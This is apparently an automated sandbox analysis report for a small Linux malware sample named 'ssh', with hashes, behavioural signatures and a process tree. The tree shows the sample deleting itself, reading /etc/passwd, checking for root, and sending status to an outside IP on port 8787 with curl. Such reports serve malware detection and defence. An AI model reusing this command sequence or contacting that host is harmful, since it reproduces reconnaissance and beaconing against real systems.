Resubmissions
18/07/2026, 12:13
260718-pd7saaa13k1008/03/2024, 13:10
240308-qehefsgf7v1028/01/2022, 18:06
220128-wprc1aaabl10Analysis
- user interaction
yes - max time kernel
149s - max time network
147s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20260513-en - resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system - submitted
18/07/2026, 12:13
Behavioral task
behavioral1
Sample
ssh
Resource
ubuntu1804-amd64-20260513-en
ubuntu-18.04-amd64
3 signatures
150 seconds
Behavioral task
behavioral2
Sample
ssh
Resource
debian9-armhf-20260513-en
debian-9-armhf
4 signatures
150 seconds
Behavioral task
behavioral3
Sample
ssh
Resource
debian9-mipsbe-20260513-en
debian-9-mips
0 signatures
150 seconds
Behavioral task
behavioral4
Sample
ssh
Resource
debian9-mipsel-20260513-en
debian-9-mipsel
0 signatures
150 seconds
General
- Target ssh
- Size 3KB
- Sample260718-pd7saaa13k
- SHA256 8914fd1cfade5059e626be90f18972ec963bbed75101c7fbf4a88a6da2bc671b
- MD5 8f1c51c4963c0bad6cf04444feb411d7
- SHA1 0427e9201e6a555080e4d1d9dfd6341622b63c58
- SHA512 45b6439d236e5ba663737816e17700748bb2f6e45b4ecd5f1d9246ef9ae403ef1dc86b1f451886a8962dc6e87f48a1425dbae2d7861537cdca9058442b280304
- TLSH T13B6147859C508D30B84CC9489EDE99FAC980E9BB51A6DD6864712E70207D10DB73CF1B
- MD5 SHA1 SHA512 TLSH
Score
6/10
Malware Config
Signatures
- Enumerates running processes
Discovers information about currently running processes on the system
- Reads CPU attributes 1 TTPs 1 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/online ps -
description ioc Process File opened for reading /proc/18/status ps File opened for reading /proc/35/cmdline ps File opened for reading /proc/81/stat ps File opened for reading /proc/89/cmdline ps File opened for reading /proc/self/stat ps File opened for reading /proc/5/status ps File opened for reading /proc/7/stat ps File opened for reading /proc/8/status ps File opened for reading /proc/21/stat ps File opened for reading /proc/23/stat ps File opened for reading /proc/81/status ps File opened for reading /proc/86/stat ps File opened for reading /proc/5/cmdline ps File opened for reading /proc/10/cmdline ps File opened for reading /proc/24/stat ps File opened for reading /proc/27/status ps File opened for reading /proc/89/stat ps File opened for reading /proc/89/status ps File opened for reading /proc/159/cmdline ps File opened for reading /proc/160/status ps File opened for reading /proc/self/maps awk File opened for reading /proc/7/cmdline ps File opened for reading /proc/8/cmdline ps File opened for reading /proc/12/status ps File opened for reading /proc/21/cmdline ps File opened for reading /proc/25/cmdline ps File opened for reading /proc/34/status ps File opened for reading /proc/36/stat ps File opened for reading /proc/20/stat ps File opened for reading /proc/26/cmdline ps File opened for reading /proc/27/cmdline ps File opened for reading /proc/29/stat ps File opened for reading /proc/31/stat ps File opened for reading /proc/79/cmdline ps File opened for reading /proc/86/status ps File opened for reading /proc/162/stat ps File opened for reading /proc/1/stat ps File opened for reading /proc/9/stat ps File opened for reading /proc/23/cmdline ps File opened for reading /proc/165/stat ps File opened for reading /proc/166/stat ps File opened for reading /proc/166/status ps File opened for reading /proc/167/cmdline ps File opened for reading /proc/170/cmdline ps File opened for reading /proc/10/stat ps File opened for reading /proc/18/cmdline ps File opened for reading /proc/32/cmdline ps File opened for reading /proc/80/status ps File opened for reading /proc/203/status ps File opened for reading /proc/9/cmdline ps File opened for reading /proc/30/status ps File opened for reading /proc/30/cmdline ps File opened for reading /proc/31/status ps File opened for reading /proc/31/cmdline ps File opened for reading /proc/80/stat ps File opened for reading /proc/86/cmdline ps File opened for reading /proc/171/cmdline ps File opened for reading /proc/sys/kernel/pid_max ps File opened for reading /proc/2/status ps File opened for reading /proc/11/cmdline ps File opened for reading /proc/35/stat ps File opened for reading /proc/80/cmdline ps File opened for reading /proc/172/status ps File opened for reading /proc/173/stat ps
Processes
-
/tmp/ssh/tmp/ssh1⤵PID:1468
-
/usr/bin/unlinkunlink /tmp/ssh2⤵PID:1469
-
-
/usr/bin/curlcurl "http://103.206.123.13:8787/test?data=begin+install"2⤵PID:1470
-
-
/bin/unameuname -a2⤵PID:1483
-
-
/usr/bin/awkawk "{print \$2}"2⤵
- Reads runtime system information
PID:1489
-
-
/bin/grepgrep -v grep2⤵PID:1488
-
-
/bin/grepgrep2⤵PID:1487
-
-
/bin/psps -ef2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1486
-
-
/bin/grep/bin/grep -E "^sftp\$"2⤵PID:1493
-
-
/bin/cat/bin/cat /etc/passwd2⤵PID:1491
-
-
/usr/bin/awkawk -F : "{print \$(1)}"2⤵PID:1492
-
-
/usr/bin/idid -u2⤵PID:1494
-
-
/usr/bin/curlcurl "http://103.206.123.13:8787/test?data=is+root"2⤵PID:1495
-